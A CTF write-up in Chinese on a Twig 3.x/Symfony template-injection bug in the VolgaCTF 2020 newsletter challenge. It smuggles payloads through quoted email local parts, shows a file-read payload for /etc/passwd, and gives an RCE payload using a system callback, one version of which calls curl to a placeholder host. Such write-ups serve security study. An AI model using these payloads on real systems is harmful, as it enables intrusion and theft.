TWIG 3.x with symfony SSTI
2020-04-08 10:58:36 Author: xz.aliyun.com(查看原文) 阅读量:321 收藏

上周末做了volgactf, 里面有道twig 的模板注入还是比较有意思的,我瞅了一天多想找RCE的链,但是由于菜没找到,队友不到一个多小时找到了读任意文件的方法。队友太强了.jpg 我菜爆了.jpg

先看结论: twig 3.x with symfony ssti 有两种利用方式(单独twig无法利用下面的方法)

  • 任意文件读取
    • {{'/etc/passwd'|file_excerpt(-1,-1)}}
  • RCE
    • {{app.request.query.filter(0,'curl${IFS}x.x.x.x:8090',1024,{'options':'system'})}}

题目描述

题目链接http://newsletter.q.2020.volgactf.ru/

题目给了源码

<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
    public function index(Request $request)
    {
      return $this->render('main.twig');
    }

    public function subscribe(Request $request, MailerInterface $mailer)
    {
      $msg = '';
      $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
      if($email !== FALSE) {
        $name = substr($email, 0, strpos($email, '@'));

        $content = $this->get('twig')->createTemplate(
          "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
        )->render();

        $mail = (new Email())->from('[email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
        $mailer->send($mail);

        $msg = 'Success';
      } else {
        $msg = 'Invalid email';
      }
      return $this->render('main.twig', ['msg' => $msg]);
    }


    public function source()
    {
        return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
    }
}

通过源码可以看到,传一个邮件地址,然后截取@前面的username,插入到模板,造成模板注入。

首先一个合法的email地址是什么样的?

一种方法就是去翻rfc

https://tools.ietf.org/html/rfc5321#section-4.5.3.1.1

从上图可以看到local-part 可以是Quoted-string,双引号中间的内容QcontentSMTP,可以是\x32-\x126

也可以是32-126 的ascci 中间不能包含"(32) \(92).

那么我们就可以得出一个结论:合法的email地址可以是 " + 非双引号,非反斜杠 "

另一种方法是去翻php源码

https://github.com/php/php-src/blob/master/ext/filter/logical_filters.c#L647

^(?!(?:(?:\x22?\x5C[\x00-\x7E]\x22?)|(?:\x22?[^\x5C\x22]\x22?)){255,})(?!(?:(?:\x22?\x5C[\x00-\x7E]\x22?)|(?:\x22?[^\x5C\x22]\x22?)){65,}@)(?:(?:[\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E]+)|(?:\x22(?:[\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F]|(?:\x5C[\x00-\x7F]))*\x22))(?:\.(?:(?:[\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E]+)|(?:\x22(?:[\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F]|(?:\x5C[\x00-\x7F]))*\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\]))$

好像不太好看懂!决定正面搞一下那个表达式

x(?!y)

仅仅当'x'后面不跟着'y'时匹配'x',这被称为正向否定查找。

例如,仅仅当这个数字后面没有跟小数点的时候,/\d+(?!.)/ 匹配一个数字。正则表达式/\d+(?!.)/.exec("3.141")匹配‘141’而不是‘3.141’

(?:x)

匹配 'x' 但是不记住匹配项。这种括号叫作非捕获括号,使得你能够定义与正则表达式运算符一起使用的子表达式。看看这个例子 /(?:foo){1,2}/。如果表达式是 /foo{1,2}/{1,2} 将只应用于 'foo' 的最后一个字符 'o'。如果使用非捕获括号,则 {1,2} 会应用于整个 'foo' 单词

找到了一个网站https://www.debuggex.com/ 可以进行可视化显示

意思是开头

  • 不能超过255个第一个虚线框里面的字符
  • 不能超过65个第二个虚线框里面的字符+@

手动测试一下,正常情况下最大程度是64

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"@c.om

下面不行 不满足开头不是65+@的情况

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"@c.om

但是可以通过""."xxxxx"@x.com 或者 "xxxx".""@x.com 来绕过64的限制
虽然php源码里判断了最大长度是320,由于255的限制我觉得@前最大长度也就是254.

测试发现总体最大的长度是258,@c.c 还需要四个

我们来验证一下

除了上面的绕法之外还有一种绕过长度64的方法

<?php

$f7 = urldecode("%7f");
$c5 = urldecode("%5c");

$email = "\"${c5}${f7}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"@x.com";

var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

这样就能达到email地址最大程度320了。这里用下图所示的差异

到这里我们什么是合法的email地址的问题基本解决了,下一步是怎么回显?服务器会将渲染之后的模板发到邮箱里面,我们怎么才能看到呢?

  1. 注册邮箱
    1. 大公司的邮箱不许有特殊字符,而且注册比较麻烦
    2. 临时邮箱也不支持全部的字符,有的设置不支持自定义用户名,https://temp-mail.org/en/ 这个临时邮箱支持自定义用户名
  2. 自己搭建STMP服务器
from __future__ import print_function
from datetime import datetime
import asyncore
from smtpd import SMTPServer

class EmlServer(SMTPServer):
    no = 0
    def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):
        filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'),
                self.no)
        f = open(filename, 'wb')
        print(data)
        f.write(data)
        f.close
        print('%s saved.' % filename)
        self.no += 1


def run():
    foo = EmlServer(('0.0.0.0', 25), None)
    try:
        asyncore.loop()
    except KeyboardInterrupt:
        pass


if __name__ == '__main__':
    run()

然后再设置DNS mx解析到你vps的ip即可。

利用方法

比赛之前能搜到的的payload是

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

但是这个payload只能在1.x能利用,因为1.x有三个全局变量

The following variables are always available in templates:

  • _self: references the current template;
  • _context: references the current context;
  • _charset: references the current charset.

对应的代码是

protected $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

2.x 及3.x 以后

The following variables are always available in templates:

  • _self: references the current template name;
  • _context: references the current context;
  • _charset: references the current charset.

_self 不再是$this 而是template name 只是个String

private $specialVars = [
        '_self' => '$this->getTemplateName()',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

又搜了一会,还是搜不到,然后就硬着头皮下了源码去找。

首先去找了文档,看有没有能够能执行php代码的标签,发现没有,然后又试了include 发现也不行。无意间发现了除了上面三个全局变量以外,在Symfony环境下还有个全局变量app,然后想以这个为突破口找到rce的链,但是由于菜,也没有找到。在我弃疗之后,队友通过symfony内置的filters,能够读任意文件,flag在/etc/passwd 里藏着,我猜可能出题人也没找到RCE的方法。今早看到了出题人的writeup,果然有大佬成功搞到了RCE,就是通过app这个方向搞下去的。

任意文件读取

除了twig自带的Filters, symfony 也自己实现了一些filters

这次利用的对象就是file_excerpt

所以payload 可以是

"{{ '/etc/passwd'|file_excerpt(-1,-1)}}"@xxxx.com

看一下file_excerpt 的实现

如果有文件上传,结合上phar进行反序列化然后RCE也是有可能的。

RCE

The app variable (which is an instance of AppVariable) gives you access to these variables:

  • app.user

    The current user object or null if the user is not authenticated.

  • app.request

    The Request object that stores the current request data (depending on your application, this can be a sub-request or a regular request).

app.requestSymfony\Component\HttpFoundation\Request Object

他的query 和 request这些属性都是可以公开访问的, 而且都是ParameterBag 类型的

ParameterBag 有个 filter方法

public function filter(string $key, $default = null, int $filter = FILTER_DEFAULT, $options = [])
    {
        $value = $this->get($key, $default);

        // Always turn $options into an array - this allows filter_var option shortcuts.
        if (!\is_array($options) && $options) {
            $options = ['flags' => $options];
        }

        // Add a convenience check for arrays.
        if (\is_array($value) && !isset($options['flags'])) {
            $options['flags'] = FILTER_REQUIRE_ARRAY;
        }

        return filter_var($value, $filter, $options);
    }
public function get(string $key, $default = null)
    {
        return \array_key_exists($key, $this->parameters) ? $this->parameters[$key] : $default;
    }

$this-parameters 会在query 初始化的时候赋值$this->query = new ParameterBag($query); 就是$_GET

到这里filter_var($value, $filter, $options) 中的三个参数都能控制

filter_var可以设置个回调函数为system,FILTER_CALLBACK 的值为1024

php > echo FILTER_CALLBACK;
1024
php >

数组参数可以通过{'key':'value'}传递。

所以payload 可以这样构造

"{{app.request.query.filter(0,'id',1024,{'options':'system'})}}"@sometimenaive.com

这样可以执行成功

但是

"{{app.request.query.filter(0,'whoami',1024,{'options':'system'})}}".""@sometimenaive.com

上面的payload远程爆500,可能是发邮件的时候GG了。应该就是发邮件的时候有问题

"{{app.request.query.filter(0,'curl${IFS}x.x.x.x:8090',1024,{'options':'system'})}}".""@sometimenaive.com

上面的payload虽然爆500但是还是可以接收到请求的。

上面是使用默认值给system传参数,也可以通过GET传参数的方式,这样就有回显了。

POST /subscribe?0=whoami HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://newsletter.q.2020.volgactf.ru
Connection: close
Referer: http://newsletter.q.2020.volgactf.ru/
Upgrade-Insecure-Requests: 1

email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@x.com

当然用app.request.request 应该也是可以的。

参考链接


文章来源: http://xz.aliyun.com/t/7507
如有侵权请联系:admin#unsafe.sh